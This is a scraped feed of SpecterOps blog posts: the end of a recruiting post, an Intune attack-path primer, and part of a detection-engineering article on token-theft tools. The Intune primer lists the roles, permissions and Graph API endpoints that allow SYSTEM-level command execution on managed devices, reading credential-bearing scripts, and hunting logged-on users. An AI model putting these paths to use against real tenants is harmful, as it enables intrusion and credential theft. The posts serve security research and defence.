Congratulations! You’ve survived the technical portions of the process. Now, you’ll meet with three of your potential Specter peers. At this stage, we want to get to know you as a person. Do you match our core values? Will you get along with the team? Will the team enjoy traveling with you for several weeks at a time? There’s no script here and not much to prepare for. Bring your genuine self, have a conversation, and have fun!

Step 7: Management Interview

At this point, you’ve almost made it. You would not have made it this far if you weren’t a good fit. Now, management will meet with you for 60 minutes to discuss your experience, professional development, career growth, etc. This is not a technical interview. If we ask how you did something or how you handled a situation, we’re not looking for technical depth. As always, we’re gauging your alignment with our core values and at what level you should be hired.

As with every previous step, bring your genuine self. Dishonesty and resume discrepancies are commonly identified at this stage.

Why So Many Steps?

The interview process may seem like a lot, and it is, but we pride ourselves on building the right teams with the right people. As much as we want to welcome you into our ranks, we also want to focus on candidates that want to be here. Those candidates will understand the seven steps and work through them to earn their spot on the team.

We’re not looking to stump you or fail you out of the process. We take a holistic view of you as a person, red team operator, and consultant. Inherently, this requires more steps.

You’re interviewing us too. Choosing a company to work with is not a decision to be taken lightly. You spend eight hours per day, five days per week with your colleagues. Through our process, you’ll directly interface with at least 10 Specters, which should help you gain a solid understanding of who we are and what we’re all about.

We strive to complete the entire process in less than four weeks and we’ve completed it in as little as two weeks. However, we understand life happens and we are flexible with scheduling.

Still Unsure?

Don’t think you’re “ready” to join the SpecterOps team? To be honest, a lot of us felt the same way before applying. We all suffer from imposter syndrome and we empathize with you. We will keep this in mind throughout the interviews and will do our best to alleviate those concerns. As you progress through the process, just remember: you’ve made it that far for a reason. To quote an excellent talk from Billy Boatright (and Babe Ruth) at the Social Engineering Village several years ago, “If you’re good enough to have a bat in your hands, you’re good enough to swing it.” So, swing for the fences!

We will help you reach your technical goals. What’s most important to us is aptitude, attitude, and alignment with our core values. Don’t wait for the “right time.” We want to talk to you now!

Next Steps

We will grow steadily throughout 2025 and we’d love to have you apply!

We are hiring consultants at various levels. The job posting (including salary bands) can be found under the Consultant openings here: https://specterops.io/careers/#careers

Please feel free to reach out to me on Bluesky, X, LinkedIn, or BloodHound Slack if you have any questions about SpecterOps or the role, or directly to careers@specterops.io.


Life at SpecterOps Part II: From Dream to Reality was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • Intune Attack Paths — Part 1 Andy Robbins
    Intune Attack Paths — Part 1Prior WorkSeveral people have recently produced high-quality work around Intune tradecraft. I want to specifically mention:Chris Thompson and his work on MaestroDirk-jan Mollema and his work with Primary Refresh TokensAdam Chester and his work with Web Account ManagerBrett Hawkins and his work with Intune lateral movement detectionThibault Van Geluwe de Berlaere, Karl Madden, and Corné de Jong, and their work on abusing MS Graph permissions against IntuneDr. Nestori S
     

Intune Attack Paths — Part 1

Intune Attack Paths — Part 1

Prior Work

Several people have recently produced high-quality work around Intune tradecraft. I want to specifically mention:

What is Intune?

Intune is a Microsoft service that administrators can use for endpoint management. Microsoft appears to be investing most of its efforts into pushing administrators towards Intune and away from other endpoint management systems such as SCCM.

Intune isn’t universal… yet.

Intune adoption appears to be far from universal — admins are still widely using “legacy” endpoint management systems such as Group Policy and SCCM; however, with Microsoft pushing its customers towards Intune, we expect Intune adoption to accelerate in the coming years and for Intune tradecraft to become more relevant.

Intune is an attractive system for adversaries to target, as it is an authorized system capable of performing the most highly privileged actions on endpoints, such as running arbitrary commands and applications as the NT AUTHORITY\SYSTEM principal.

Intune Trust Boundary

Intune is an Azure service and requires an existing Entra tenant for admins to use it. Only one Intune instance can be associated with each Entra tenant. Intune instances can not be associated with more than one Entra tenant.

Two roles in the Entra tenant grant full control of an Intune instance:

  • Global Administrator
  • Intune Administrator

There is also a distinct authorization system within the Intune service with its own roles and mechanics.

Because the Intune service must be associated with precisely one Entra tenant, and because Entra’s authorization system grants full control of the Intune instance, the trust boundary around an Intune instance is established and enforced by the Entra tenant:

Intune Devices vs. Entra Devices

The Intune service refers to managed endpoints as “devices.” This is the same word Entra uses when describing endpoints. Intune Devices are typically endpoints that are registered or joined to the Entra tenant, but this is not a hard requirement. It is possible to manage an endpoint in Intune while that endpoint is not registered or joined to an Entra tenant.

Because of this, Intune Devices are distinct objects from Entra Devices. They are accessed and managed with a distinct API and they have universally unique identifiers that are distinct from Entra Devices:

We can determine when an Intune Device is the same endpoint as an Entra Device by comparing two fields:

  1. The deviceId field on Entra Devices
  2. The azureADDeviceId field on Intune Devices

In this example, we can see that the two devices are, in fact, the same endpoint:

An Intune Device may represent the same endpoint as an Entra Device; furthermore, both of these objects may also represent an on-premises Active Directory joined computer. When that is the case, the on-premises AD computer’s LDAP object will have the same value for its objectGUID property:

This is one endpoint represented across three systems with three distinct objects.

Intune RBAC vs. Entra RBAC vs. MS Graph

Intune has its own role-based access control (RBAC) system that is distinct from the Entra ID RBAC system, but the Intune service is also subject to Entra RBAC — an Entra Global Admin has full control of the Intune instance. Intune is accessed via the MS Graph API and there are several relevant MS Graph permissions that can control access to the Intune instance as well.

Intune RBAC — Role Assignments

The Intune RBAC system is very similar to the Entra RBAC system in that it is based on role definitions, role assignments, permissions, and scopes.

The first material difference of note is that Intune roles must be assigned to groups. While it is possible to create an Intune role assignment for a user, the system will not respect this configuration. Intune role assignments only work when assigned to groups, while Entra roles work when assigned to any principal type:

Intune RBAC — Permissions

Intune permissions (more accurately called Resource Operations) enable specific actions against specific Intune object classes. Intune permissions are formatted as:

Microsoft.<ServiceName>_<ObjectClass>_<Action>

All Intune permissions have “Intune” as the service name.

An example Intune permission is:

Microsoft.Intune_DeviceConfigurations_Create

This permission enables a principal to Create new Intune objects called DeviceConfigurations. This is a powerful permission that enables remote code execution on Intune-managed endpoints.

At time of writing, Intune has 239 distinct permissions, there does not appear to be an online resource listing all of these permissions, and MS Graph serves them at the /deviceManagement/resourceOperations API endpoint. BARK’s Get-IntuneResourceOperations hits that endpoint to list all Intune permissions.

Intune RBAC — Scope Groups

Intune’s RBAC system supports limiting role assignments to particular sets of endpoints. The mechanism for this is called Scope Groups. Scope Groups are Entra ID security groups. The default (and most common) configuration is to use a virtual scope group called allDevicesAndLicensedUsers. This scope group value means the role assignment will enable the principal to perform actions against all devices in the Intune instance.

Scope Groups may be used to limit which devices a principal can control when granted a role assignment. For example, the Entra group called “Seattle Admins” may have an Intune role assignment for the built-in role called “School Administrator”:

If the Intune admin wants to limit this role assignment to only granting control of devices in Seattle, they may create a new Entra group called “Seattle Devices” and then add the relevant Entra Devices (not the Intune Devices) to that group.

Recall from earlier that Entra devices and Intune devices that represent the same endpoint share a common property value that ties the objects to the same host.

Putting this all together, we can visualize the above configuration as such:

The one piece that is missing is the inclusion of the Scope Group configuration within the role assignment itself. Let’s add that in:

This configuration means that the “Seattle Admins” group will have all permissions granted by the “School Administrator” role, but only for those devices that belong to the groups listed in the “scopeGroups” attribute of the role assignment. The “Seattle Admins” group gains control of the Intune Device due to this configuration:

There may be other Intune devices in this instance, but if those devices are not added to the “Seattle Devices” group, then this configuration means the “Seattle Admins” group does not gain control of those other devices:

If an Entra Device that is associated with an Intune Device is added to the “Seattle Devices” group, then the “School Admins” group will gain control of that device:

If the “scopeGroups” property on the role assignment is changed to allDevicesAndLicensedUsers, then the “Seattle Admins” group will gain control of all Intune-managed devices within the Intune instance:

Intune RBAC — Scope Tags

The Microsoft documentation about scope tags begins with this paragraph:

You can use RBAC and scope tags to make sure that the right admins have the correct access and visibility to the required Intune objects. Roles determine what access admins have to which objects. Scope tags determine which objects admins can see.
Scope Tags limit visibility, they do not limit access.

Scope Tags are a distinct class of Intune object. They are referenced on most Intune objects including roles, role assignments, applications, and devices. For example, let’s say we want members of the “Seattle Admins” group to only be able to see devices that belong to the “Seattle Devices” group.

The Intune admin must first create the scope tag. Then, they modify the scope tag so that the scope tag itself includes the “Seattle Devices” group:

Next, the Intune admin would modify the existing role assignment connecting the “Seattle Admins” group to the “School Administrator” role. The modification is to update the “scopeTags” attribute on the role assignment itself to reference the existing scope tag. When this update happens, the members of the “Seattle Admins” group will lose the ability to see any device that is not a member of the “Seattle Devices” group:

While the members of the “Seattle Admins” group can no longer see those devices in Intune, they still control those devices. We can prove this in a lab by logging in as a member of the “Seattle Admins” group and deploying a new configuration to include all devices. Because the “scopeGroups” attribute of the role assignment is inclusive of all devices, the change will apply to all devices.

Scope tags do not appear to be commonly used in the real world. There are complicated rules around scope tags that I believe will introduce enough friction to discourage most Intune admins from making use of scope tags.

Entra ID RBAC

Two built-in roles in Entra have full control of an Intune instance:

  • Global Administrator
  • Intune Administrator

Principals with either of those roles are not limited in any way by Intune RBAC. I still need to look into which specific Entra ID permissions may be relevant in the same way, as admins may be using custom Entra ID roles that also have control of Intune.

MS Graph App Roles

Intune is accessed via MS Graph, which has its own set of permissions related to Intune. The MS Graph app roles that apply to Intune include, for example:

  • DeviceManagementRBAC.ReadWrite.All
  • DeviceManagementConfiguration.ReadWrite.All
  • DeviceManagementManagedDevices.ReadWrite.All

Most (all?) of the Intune-relevant MS Graph app roles begin with “DeviceManagement”.

Some of these app roles enable abuse. For example:

  • DeviceManagementConfiguration.ReadWrite.All app role enables arbitrary, privileged command execution on all Intune-managed endpoints
  • DeviceManagementRBAC.ReadWrite.All enables privileged role assignment in Intune, including the ability to grant Intune role assignments that lead to arbitrary, privileged command execution on Intune-managed endpoints

Those are the two MS Graph app roles I have completed the research on. There are others that appear very attractive, including:

  • DeviceManagementApps.ReadWrite.All
  • DeviceManagementServiceConfig.ReadWrite.All

Intune Arbitrary Command Execution via Remediations

Intune is an endpoint management system and, as such, provides Intune admins with various mechanisms for performing privileged actions on endpoints such as controlling operating system configurations, installing arbitrary applications, and running arbitrary commands.

One method of running arbitrary commands is by using Remediations (previously known as “Proactive Remediations”). Remediations allow Intune admins to run PowerShell scripts on Intune-managed devices as the Windows NT AUTHORITY\SYSTEM principal.

Remediations run PowerShell scripts. To run a remediation script, the admin must create or modify an existing PowerShell script. This step is done locally on the admin’s own host.

Next, the Intune admin must create or modify an existing script package. Creating a new script package is done by making a “POST” request to the MS Graph /devicemanagement/deviceHealthScripts endpoint. This is a privileged action. In order to successfully make a “POST” request to that endpoint, a principal must have one of the following:

A. One of these Entra ID roles:

  1. Global Administrator
  2. Intune Administrator

B. An Intune role assignment including the atomic permission (resource operation), Microsoft.Intune_DeviceConfigurations_Create. These built-in Intune roles have that permission:

  1. School Administrator
  2. Policy and Profile Manager

C. The MS Graph app role, DeviceManagementConfiguration.ReadWrite.All

The PowerShell script is stored as a base64-encoded string on the deviceHealthScript resource:

The script package defines which groups are able to run the package. For example, the admin may assign the script package to the “Seattle Devices” group in order to make the package available to those devices:

Script packages also allow admins to include or exclude devices using assignment filters:

Finally, script packages allow admins to exclude groups using an exclusion property of the package:

We have not observed wide-spread usage of exclusion groups or inclusion/exclusion filters. Due to the complexity involved with these filters, we do not expect most Intune admins to make use of filters beyond using the readily-available “All devices” assignment, or selecting specific groups to include.

We expect a typical environment to not make use of most of these filter mechanisms. In our example, we will simplify the diagram so that the “Seattle Devices” group is included in the script package:

Now that the script package is created and assigned to the “Seattle Devices” group, the script will automatically run on a specified interval; the default is once every 24 hours.

Intune Arbitrary Command Execution via On-Demand Proactive Remediation

Intune allows administrators to run specific remediation scripts on specific devices via a feature called on-demand proactive remediations. This feature is currently in preview and subject to change.

In order to run an on-demand proactive remediation, the admin must create a script (or target an existing script). The documentation for the initiateOnDemandProactiveRemediation action indicates that this action can be used to trigger several kinds of scripts within the Intune platform:

  • deviceHealthScripts
  • deviceManagementScripts
  • deviceComplianceScripts

At the time of writing (December 17, 2024), I have finished the work to understand which permissions are required in order to perform the initiateOnDemandProactiveRemediation action when sending a POST request to this URI:

https://graph.microsoft.com/beta/deviceManagement/managedDevices/{managedDeviceId}/initiateOnDemandProactiveRemediation

A service principal with the following MS Graph app role will successfully perform a “POST” request to the above endpoint:

  • DeviceManagementManagedDevices.PrivilegedOperations.All

A principal with an Intune role activated that includes one of the following permissions will successfully perform a “POST” request to the above endpoint:

  • Microsoft.Intune_RemoteTasks_OnDemandProactiveRemediation

The following built-in Intune roles have that/those permissions:

  • Help Desk Operator
  • School Administrator

In the previous section titled “Intune Arbitrary Command Execution via Remediations”, we discussed how script package filters limit which devices a remediation script package will automatically run on. For the endpoint discussed in this section, the initiateOnDemandProactiveRemediation action is not limited by those filters. Even if a script package is explicitly configured to not run on a set of devices, the initiateOnDemandProactiveRemediation action will successfully execute those same script packages on that same set of devices.

This may or may not be Microsoft’s intent. I opened a GitHub issue here asking them whether this is intended: https://github.com/MSEndpointMgr/Intune/issues/76

January 27, 2025 update: I made a mistake, the above repo is NOT an official Microsoft repo. I will try to get an answer from Microsoft directly regarding whether this behavior is expected.

Intune Script Packages

There are several Intune resource types admins can use to store and execute scripts on Intune-managed devices. The most obvious is a resource called deviceHealthScript. These objects are called “Script Packages” in the Intune portal GUI:

Look carefully at the above screenshot. Look at what the arrow on the left is pointing at. The Intune portal GUI calls the items in this list “Script Packages”. The Intune GUI says there are 37 “script packages”. Now carefully look at what the arrow on the right is pointing at: the number 37. Now look at the URI that was accessed to retrieve that number: it’s the deviceHealthScripts URI.

“Script Package” is the customer-facing name. That is the name Microsoft uses in the remediations feature documentation. “deviceHealthScript” is the name that MS Graph’s Intune API endpoints uses.

Because most Intune admins will likely be more familiar with the term “Script Package”, that is the name we will use when describing these objects.

Script packages (deviceHealthScripts) are Intune resources. There are several properties on these objects that are interesting to an attacker:

  • id — The universally unique identifier (UUID) of the script package
  • detectionScriptContent — Base64 encoded PowerShell “detection” script that will run on an endpoint executing this script package
  • remediationScriptContent — Base64 encoded PowerShell “remediation” script that will run on an endpoint executing this script package
  • runAsAccount — Whether the script will run as the logged-on user or as the NT AUTHORITY\SYSTEM principal

Intune admins can populate the detectionScriptContent and remediationScriptContent properties of these objects with anything they want; it doesn’t need to be a PowerShell script, but PowerShell is the only type of script that will successfully execute on an endpoint running a script package.

Adversaries find PowerShell scripts attractive because they may have contents that lead to successfully actioning an operational objective. Those contents may include less-sensitive data such as internal hostnames, or highly-sensitive data such as credentials.

A principal with one of the following Entra ID admin roles can read the contents of all script packages within an Intune instance:

  • Global Administrator
  • Intune Administrator
  • Global Reader
  • Security Reader
  • Reports Reader
  • Security Operator
  • Security Administrator
  • Helpdesk Administrator

A principal with one of the following built-in Intune roles can read the contents of all script packages within an Intune instance:

  • Help Desk Operator
  • Endpoint Security Manager
  • Policy and Profile Manager
  • Read Only Operator
  • School Administrator
  • Application Manager

The atomic Intune permission that enables reading script package contents is:

  • Microsoft.Intune_DeviceConfigurations_Read

These MS Graph app roles allow a service principal to read all deviceHealthScripts in the Intune instance:

  • DeviceManagementConfiguration.Read.All
  • DeviceManagementConfiguration.ReadWrite.All

Intune Platform Scripts

Platform scripts are Intune resources that store information about scripts that can run on Intune-managed devices. “Platform script” is the user-facing name of this resource. The MS Graph API refers to these resources as deviceManagementScripts. We will refer to them as “Platform Scripts”.

Platform scripts, similar to script packages, contain the base64-encoded script that will run on Intune-managed endpoints. Those scripts may contain sensitive information such as internal host names or credentials.

A principal with one of the following Entra ID admin roles can read the contents of all platform scripts within an Intune instance:

  • Global Administrator
  • Intune Administrator
  • Global Reader
  • Security Reader
  • Reports Reader
  • Security Operator
  • Security Administrator
  • Helpdesk Administrator

A principal with one of the following Intune roles can read the contents of all platform scripts within an Intune instance:

  • Help Desk Operator
  • Endpoint Security Manager
  • Policy and Profile Manager
  • Read Only Operator
  • School Administrator
  • Application Manager

The atomic Intune permission that enables reading platform script contents is:

  • Microsoft.Intune_DeviceConfigurations_Read

These MS Graph app roles allow a service principal to read all platform scripts in the Intune instance:

  • DeviceManagementConfiguration.Read.All
  • DeviceManagementConfiguration.ReadWrite.All

Intune Compliance Scripts

Compliance scripts are scripts that run during an Intune-managed Windows or Linux system. Compliance scripts are referred to as “Scripts” within the compliance policy GUI, and as “deviceComplianceScripts” by the API. We will call them “Compliance Scripts”.

Compliance scripts are associated with compliance policies. Compliance policies specify which devices/groups are in-scope for that particular policy. Compliance scripts automatically run once every 24 hours when associated with a compliance policy.

Admins can force a compliance script to execute “on-demand” by instructing a device to “sync”.

Intune Device User Hunting

When an on-premises Active Directory user logs onto a domain-joined computer, several artifacts are created within the operating system that make it possible to impersonate that user. This is well-established knowledge going back to at least 2008 when Luke Jennings published the seminal paper, “Security Implications of Windows Access Tokens — A Penetration Tester’s Guide”.

Similar tradecraft exists to take advantage of Entra users logging on to Windows endpoints, as discussed by Dirk-jan Mollema in, for example, his blog post titled “Digging Further Into the Primary Refresh Token”, and as discussed by Adam Chester in his blog post titled, “WAM BAM — Recovering Web Tokens From Office”.

This tradecraft means adversaries are interested in discovering which Intune-managed devices users have logged onto. There are several data sources we can pull from to discover which users have logged onto which devices, each with their own strengths and drawbacks:

User Hunting via Sign-in Logs

Of the built-in options, Entra sign-in logs are the highest-fidelity source for discovering which users have performed some kind of abusable logon on a device.

Sign-in logs are a trove of information. In the above screenshot, we can see:

  • The UUID of the user that performed a sign-in
  • The date and time of the sign-in
  • The application the user was “signing into” (Azure Portal)
  • Version information about the browser the user used
  • The UUID of the Entra device the user used

This is more than enough information to populate an attack graph:

Notice that, in the above diagram, we have labeled the device as an “Entra Device” and not as an “Intune Device”. This is because Entra logs the Entra device identifier, NOT the Intune device identifier. Recall from earlier that we can identify hosts that are both Entra-joined and Intune-managed devices by comparing the deviceId and azureADDeviceId property values:

We can connect the Entra and Intune device nodes with an edge indicating they are the same host. This reveals the full pattern connecting the Intune device to the Entra user:

But Entra sign-in logs come with serious limitations. Adversaries may be unable or unwilling to rely on Entra sign-in logs for user hunting for a few reasons:

  1. Comprehensive sign-in log collection is very slow. It can take several hours to collect those logs from the MS Graph API
  2. The available filters to constrain the sign-in logs MS Graph returns do not materially reduce the time it takes to collect those logs
  3. Reading sign-in logs requires non-default permissions that an initial-access user or service principal is unlikely to possess

User Hunting via Intune Device “usersLoggedOn” Attribute

Intune devices have a property called usersLoggedOn. This attribute is a collection of loggedOnUser resources. A loggedOnUser resource contains two pieces of information:

  • The Entra ID of the user that logged onto the device
  • The timestamp of the most recent time that user logged onto that device

This data source gives us all three elements we need to construct a similar attack graph as in the previous section:

Using this attribute for user hunting comes with some advantages:

  • Collecting Intune devices via the MS Graph API is dramatically faster than collecting Entra sign-in logs
  • The usersLoggedOn attribute stores 30 days worth of logons (the same length as Entra sign-in logs)
  • The rights needed to collect Intune devices may be “lower” than those needed to collect sign-in logs

User Hunting via Entra/Intune Device Owner

Entra and Intune devices have “owners”. Ownership of an Entra or Intune device does not guarantee control of the device, nor does it guarantee that the user that owns the device uses the device. In the real world, we see many Entra and Intune devices where the owner has been set to an IT contact. We do not consider device ownership a reliable indicator for the purposes of user hunting.

User Hunting via Intune Device Primary User

Intune devices have “primary users”. The “primary user” value of an Intune device is set different ways depending on how the device was enrolled: https://learn.microsoft.com/en-us/mem/intune/remote-actions/find-primary-user?WT.mc_id=Portal-Microsoft_Intune_Devices#who-is-assigned-as-the-primary-user

In the real world, we have seen little reason to put much trust in the “primary user” of an Intune device for user hunting purposes, especially in light of the Intune device usersLoggedOn attribute.

Conclusion and Future Work

Intune attack paths are interesting for the attack paths that emerge within the Intune platform itself. But these attack paths are compelling for the attack paths that emerge connecting Entra/Azure to on-premises Active Directory and vice versa. This blog post hopefully sets some foundational knowledge to setup for the next post(s) in this series, which will show real examples of performing the abuse primitives this post discusses.

I will also be continuing Intune tradecraft research, to include:

  • Finishing research on atomic Entra ID RBAC permissions that enable abuse of Intune resources
  • Learning how line of business apps and permissions against them can be abused
  • Investigating Intune device query and determining the data collection and other abuse primitive types that may be enabled by this feature
  • Researching Remote Help and Intune’s Teamviewer integration to understand how those features work and how they may be abused for lateral movement
  • And more…

References


Intune Attack Paths — Part 1 was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • Part 16: Tool Description Jared Atkinson
    On Detection: Tactical to FunctionalWhy it is Difficult to Say What a Tool DoesIntroductionOver the years, I’ve noticed that we have a difficult time describing a specific tool’s functionality. I participated in conversations or listened to lectures where someone inevitably attempts to describe the techniques or behavior that they associate with a given tool. Someone might say “mimikatz is used for Credential Dumping” which is technically true, but does not provide a comprehensive description of
     

Part 16: Tool Description

On Detection: Tactical to Functional

Why it is Difficult to Say What a Tool Does

Introduction

Over the years, I’ve noticed that we have a difficult time describing a specific tool’s functionality. I participated in conversations or listened to lectures where someone inevitably attempts to describe the techniques or behavior that they associate with a given tool. Someone might say “mimikatz is used for Credential Dumping” which is technically true, but does not provide a comprehensive description of mimikatz’s capabilities. In these interactions, I’ve often found this problem to be obvious, even to the speaker, but it has been difficult to pin down exactly what to do about it.

In this article, I plan to demonstrate WHY this problem exists. We will dig into two examples, the first shows that a single sample can implement multiple, independent techniques, while the second shows that changing a parameter can cause a different procedure to be executed. In reality, the problem is that a tool is an arbitrary bucket for tradecraft. Some tools are purpose built for one purpose and one purpose only, while others are frameworks that facilitate many different capabilities. Our analysis must go deeper than the tool layer to really discern what we are attempting to detect and I hope that this post provides a perspective on that topic.

One Tool, Multiple Techniques

This section dissects a sample that appears to implement a single technique, Token Impersonation, but upon a deeper review we find that the functionality of the tool can be broken apart. Specifically, we find that the tool builds in a design decision that causes two related but independent techniques to be combined in one chain. Depending on the execution context, the first half of the chain could be omitted completely, or it could have been implemented by a separate, purpose built, tool.

Dependency Graph Review

I want to start with a review of the Dependency Graph. This is a topic that I described in detail in Part 11 of this series, but a quick review will help this article stand on its own.

While the function chain is helpful in describing the actual sequence of functions that were called by the sample, a single function chain does not always tell the entire story. In my previous post I introduced functional composition which we then used as a mechanism for evaluating whether two function chains were equivalent. At the end of the post we showed two function chains that ostensibly implemented the same Process Injection variant (seen below).

File Mapping Injection Variant 1
File Mapping Injection Variant 2

The two samples called the same functions, however, the samples called the functions in a different order. An obvious question that might arise is “how important is the order of the functions in the chain?” These chains are not literally the same due to the difference in their function order, but are they equivalent? We were able to answer that question using functional composition because both function chains produced the same dependency graph (shown below):

This analysis shows that dependency graphs can be used to evaluate equivalency between samples, but is that the only use case for dependency graphs? In this post, I want to explore a different use case for this analytical tool that will put another tool in our tool belt for understanding how to describe and categorize adversary tradecraft.

Can a single tool implement multiple techniques?

For this section we will assess the function chain implemented in Justin Bui’s PrimaryTokenTheft tool. I’ve included a diagram showing the layout of the code implementation.

Note: I highly recommend spending some time comparing the code itself to this diagram, especially if you are are relatively new to programming or operating system APIs.

The function chain

The result of analyzing the tool is a function chain as shown below:

Function Chain for PrimaryTokenTheft

If we were working towards building a robust behavioral detection rule, we would work to derive the corresponding operation chain. However, in this post, we are interested in looking at the function chain from a different direction. Our goal is to understand how the functions in the function chain are interconnected and what the implications of those relationships are.

Dependency as Techniques

While the function chain is a useful analytical tool, it leaves out a lot of details. For example, it is impossible to tell from the function chain alone how the different functions interact with one another and what the implications of those interactions are. I think of the function chain as viewing the sample in 2D. We are able to derive a general gist of what the sample does, but we are missing something. So what happens when we add an extra dimension, composition, to the mix? I’ve included the dependency graph for the PrimaryTokenTheft sample below:

Dependency Graph for PrimaryTokenTheft

Notice that the functions break out into two discrete/disconnected dependency graphs. The top dependency graph, which I will label as “token impersonation”, is composed of OpenProcess, OpenProcessToken, and ImpersonateLoggedOnUser. The bottom dependency graph, which I will label as “privilege enablement”, is composed of GetCurrentProcess, OpenProcessToken, LookupPrivilegeValue, and AdjustTokenPrivilege. We can then analyze the two dependency graphs to understand what sub-functionality each performs. For example, the token impersonation dependency graph opens a handle to a target process (OpenProcess), opens a handle to the target process’s primary token (OpenProcessToken), applies that token to the calling thread (ImpersonateLoggedOnUser). Thus we can say that the purpose of this dependency graph is to perform token impersonation. Hmmm, token impersonation is the purpose of the tool itself, so what is this second dependency graph responsible for? Let’s take a look! It appears that this second dependency graph opens a handle to calling process (GetCurrentProcess), it opens a handle to its own primary token (OpenProcessToken), it then looks up the value associated with the SeDebugPrivilege (LookupPrivilegeValue), it then enables the SeDebugPrivilege privilege (AdjustTokenPrivileges). If we refer back to the function chain, we can see that the functions that make up the second dependency graph are called first. This is because the SeDebugPrivilege ensures that the calling process is able to perform token impersonation without any issues. For this reason I will refer to this dependency graph as Privilege Enablement for the remainder of this post.

So what are the takeaways from this analysis? An interesting observation is that each dependency graph seems to represent some minimum viable capability. While it is technically possible to create a program that simply calls OpenProcess with no follow on functions, the resulting program will not behave in a consequential way. In order for the program to do anything useful, it must implement the full dependency graph.

Another important observation is that multiple dependency graphs can be implemented within the same sample or tool. We can imagine many situations where the a tool is not required to implement Privilege Enablement as part of its Token Impersonation workflow. If the tool is run as a high privilege context, it would be able to perform the token impersonation without enabling SeDebugPrivilege first.

One Tool, Multiple Procedures

In this section I want to explore an idea that was first pointed out to me by Nathan Davis. He worked with me to learn this methodology and made an interesting finding while applying the ideas from this series to a component of PowerSploit’s PowerUp module. He was building a function chain for PowerUp’s Get-ProcessTokenPrivilege function, when he noticed that the function chain would change slightly depending on whether a specific parameter were specified by the caller or not.

PowerSploit/Privesc/PowerUp.ps1 at master · PowerShellMafia/PowerSploit

Nathan specifically noticed that the the Get-ProcessTokenPrivilege function took two optional parameters, Id and Special, as shown in the image below:

It is quite common for PowerShell functions or command line applications to accept arguments via the command line, but I had not properly considered how different parameters can affect what happens when the application or function is executed. The primary example that Nathan found is shown in the image below.

Notice that the snippet begins with an if statement which specifically checks whether the Id parameter was specified on the command line. PSBoundParameters is a special variable that contains a dictionary of the parameters that were passed to the function. Checking whether a parameter exists within the dictionary is a standard way of checking whether a parameter was specified in when the function was called. This means that the condition for the if statement is checking whether the caller passed the Id parameter. If the Id parameter was passed, then the kernel32!OpenProcess function would be called. However, the else statement indicates that if the Id parameter was not specified, the kernel32!GetCurrentProcess function would be called instead. This means that there are, at least, two paths that might manifest as a result of calling this one function.

Note: This seems obvious in retrospect, but I still think this is valuable exercise for folks to see as they delve into applying the On Detection model to their analysis of attacker tools and behaviors.

OpenProcess vs. GetCurrentProcess

At this point, we know that there are two possible functional variations depending on the Id parameter, but if you’ve made it this far into the series and are like me you are probably wondering just how different those two functional variations might be. Do both functions abstract to the same operation? If so, this function-level difference does not really affect our description of the tool. We see that the output of both functions is stored in the ProcessHandle variable, so they probably are not terribly different. Well, the only way to definitively answer that question is to dig into the function call stacks for both kernel32!OpenProcess and kernel32!GetCurrentProcess.

Note: This next section walks through the generation of function call stacks for both kernel32!OpenProcess and kernel32!GetCurrentProcess. For those that have read the entire series, this is probably repetitive. However, this provides necessary context for those readers that are just joining us AND it never hurts to get another repetition of analysis under our belt.

kernel32!OpenProcess

The first step to analyzing a function call stack is to open the specified DLL file in a disassembler (we are using IDA Free in this post). We derive the DLL file from the code on line 1370 in the proceeding image. It specifically refers to $Kernel32::OpenProcess which indicates that it calls the version of OpenProcess that kernel32.dll implements (otherwise known as kernel32!OpenProcess). I’ve included an image of the kernel32!OpenProcess function’s implementation below:

Implementation of kernel32!OpenProcess

Notice the jmp cs:__imp_OpenProcess instruction. This indicates that execution should be redirected to an imported function (indicated by __imp_) named OpenProcess. The import table indicates that kernel32!OpenProcess redirects to api-ms-win-core-processthreads-l1–1–2!OpenProcess.

We can use the Get-NtApiSet function from James Forshaw’s NtObjectManager module to resolve the api-ms-win-core-processthreads-l1–1–2 ApiSet. In doing so, we find that the OS will redirect any calls to api-ms-win-core-processthreads-l1–1–2!OpenProcess to kernelbase!OpenProcess.

Using Get-NtApiSet to resolve api-ms-win-core-processthreads-l1–1–2

Next we can open kernelbase.dll in our disassembler and browse to its implementation of OpenProcess which is shown below:

Implementation of kernelbase!OpenProcess

While kernelbase!OpenProcess appears to do a bit more work than kernel32!OpenProcess, we find that it very quickly calls another imported function (__imp_NtOpenProcess). After consulting the imports table, we find that NtOpenProcess is implemented in ntdll.dll. Finally we open ntdll.dll in the disassembler and browse to the implementation of NtOpenProcess, shown below:

Implementation of ntdll!NtOpenProcess

We see that ntdll!NtOpenProcess makes a syscall to a kernel-mode function that we will call NtOpenProcess. We can now use the syscall rule which allows us to summarize a function call stack that ends in a syscall using a single operation, in this case the Process Open operation. With our analysis complete, we can graph the relationship between these functions using a “function call stack” which is shown below. For more information about function call stack, I recommend reading Part 2 of this series.

Function Call Stack for kernel32!OpenProcess

kernel32!GetCurrentProcess

Next we will analyze GetCurrentProcess which, according to line 1380 of the Get-ProcessTokenPrivilege code snippet that is shared above, is implemented by kernel32.dll. We’ve already loaded kernel32.dll into our disassembler, so we can use the Exports tab to view the GetCurrentProcess function’s implementation.

Implementation of kernel32!GetCurrentProcess

The first thing you should notice is that kernel32!GetCurrentProcess does not make a call or jmp of any kind. Instead, it sets the rax register, which is implicitly set to 0, to 0xFFFFFFFFFFFFFFFF (hex) or -1 (decimal) and returns the value. This means it does not make a syscall or remote procedure call, and therefore does not seem to implement an operation within the construct of our model. It turns out that -1 is considered a special “pseudo-handle” by Microsoft. Microsoft describes this pseudo-handle in the Remarks section of the GetCurrentProcess function documentation, “[it] is a special constant, currently (HANDLE)-1, that is interpreted as the current process handle.” This description indicates that it is possible for a developer to skip the call to kernel32!GetCurrentProcess altogether. If the developer is interacting with the calling process’s handle they can pass (HANDLE)-1 directly to the subsequent function call, which will be advapi32!OpenProcessToken in this case. However, the documentation states that Microsoft reserves the right to change this value, so kernel32!GetCurrentProcess provides a mechanism for programmer to avoid a breaking change.

This means that the “function call stack” for kernel32!GetCurrentProcess is quite simple as shown below:

Function Call Stack for kernel32!GetCurrentProcess

